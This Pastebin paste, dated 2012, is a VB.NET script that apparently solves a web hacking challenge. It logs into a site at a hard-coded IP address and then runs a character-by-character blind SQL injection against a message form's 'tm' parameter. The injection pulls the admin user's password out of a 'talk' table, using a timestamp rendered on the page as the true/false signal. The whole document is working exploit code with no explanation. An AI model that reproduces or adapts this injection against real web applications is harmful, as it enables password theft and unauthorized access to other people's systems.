Advertisement
aqua_h4ck3r5

yhsj

Jun 10th, 2012
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.52 KB | None | 0 0
  1. ' kitanai code
  2. ' dirty code
  3.         Dim moji As String = "0123456789abcdefABCDEF"
  4.         'moji = "0123456789."
  5.         Dim pos As Integer = 1
  6.         Dim mp As Integer = 0
  7.         Dim len As Integer = 32
  8.  
  9.         Dim browser As New WebBrowser
  10.         Dim prm As New ParameterList
  11.         prm.Add("id", "dd")
  12.         prm.Add("pw", "dd")
  13.         browser.SetReferer("http://61.42.25.29/ca91991084ceda1d22c5f2c8efc52c9e/index.php")
  14.         browser.Send("http://61.42.25.29/ca91991084ceda1d22c5f2c8efc52c9e/index.php", prm)
  15.  
  16.         If InStr(browser.GetLastData(), "hi dd") <= 0 Then
  17.             MsgBox("login failed?")
  18.             Exit Sub
  19.  
  20.         End If
  21.  
  22.         While 1
  23.             If pos > len Then Exit While
  24.             Dim url As String = "http://61.42.25.29/ca91991084ceda1d22c5f2c8efc52c9e/msg.php?id=dd"
  25.             Dim params As New ParameterList
  26.             params.Add("msg", "a")
  27.             Dim tm As String = "60*(SELECT CASE ORD(SUBSTRING((SELECT pw FROM talk WHERE LENGTH(id)=5 AND ORD(SUBSTRING(id,1,1))=97 AND ORD(SUBSTRING(id,2,1))=100 AND ORD(SUBSTRING(id,3,1))=109 AND ORD(SUBSTRING(id,4,1))=105 AND ORD(SUBSTRING(id,5,1))=110 LIMIT 0,1)," & pos & ",1)) WHEN " & Asc(moji.Substring(mp, 1)) & " THEN 1 ELSE 2 END)"
  28.             params.Add("tm", tm)
  29.             browser.Send(url, params)
  30.  
  31.             Application.DoEvents()
  32.             Console.WriteLine("Checking [" & moji.Substring(mp, 1) & "]")
  33.  
  34.             Dim ret As String = browser.GetLastData()
  35.             If InStr(ret, "done") <= 0 Then
  36.                 MsgBox("any problem?")
  37.                 Exit Sub
  38.  
  39.             End If
  40.  
  41.             browser.SendByGet("http://61.42.25.29/ca91991084ceda1d22c5f2c8efc52c9e/msg.php")
  42.             ret = browser.GetLastData
  43.  
  44.             Dim r As New Regex("12-31 19:0([12])", RegexOptions.Singleline Or RegexOptions.IgnoreCase)
  45.             Dim m As Match = r.Match(browser.GetLastData())
  46.  
  47.             If Not m.Success Then
  48.                 MsgBox("error?")
  49.                 Exit Sub
  50.  
  51.             End If
  52.  
  53.             Dim chv As Integer = Val(m.Groups(1).Value)
  54.             If chv = 1 Then
  55.                 Console.WriteLine("[" & (pos + 1).ToString & "] " & moji.Substring(mp, 1))
  56.                 TextBox1.Text = TextBox1.Text & moji.Substring(mp, 1)
  57.                 Application.DoEvents()
  58.                 mp = 0
  59.                 pos = pos + 1
  60.                 Continue While
  61.  
  62.             End If
  63.  
  64.             Application.DoEvents()
  65.             mp = mp + 1
  66.  
  67.             Threading.Thread.Sleep(200)
  68.  
  69.         End While
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement